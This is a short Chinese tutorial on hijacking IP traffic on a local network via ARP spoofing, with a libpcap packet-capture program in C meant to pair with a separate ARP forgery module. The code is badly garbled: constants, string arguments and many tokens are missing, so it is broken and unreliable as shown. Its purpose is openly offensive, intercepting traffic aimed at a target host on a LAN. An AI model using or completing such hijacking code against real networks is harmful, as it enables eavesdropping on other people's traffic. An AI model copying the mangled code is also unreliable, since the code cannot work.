基于ARP的局域网IP劫持——C语言实现
基于ARP的局域网IP劫持——C语言实现
阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
unsigned glTargetIP[]={,,, * glBpfCmd= unsigned glRetargetMac[]={ ,,,,, * glNICStr=
getPacket(u_char * arg, pcap_pkthdr * pkthdr, u_char * * id = ( * unsigned * src_ip = unsigned * src_mac= unsigned * dst_ip =packet+ unsigned * dst_mac=packet+
printf(, ++(* printf(, pkthdr-> printf(, pkthdr-> printf(, ctime(( time_t *)&pkthdr->
(i=; i<pkthdr->len; ++ printf( ( (i + ) % == printf(
printf(
errBuf[PCAP_ERRBUF_SIZE], *
devStr =
printf(
printf( exit(
pcap_t * device = pcap_open_live(glNICStr, , ,
(! printf( exit(
pcap_compile( device,&filter,glBpfCmd,, pcap_setfilter(device ,&
id = pcap_loop(device, -, getPacket, (u_char*)&
}
View Code
结合ARP报文伪造模块,下面给出完整实现代码:gcc name.c -lpcap -o name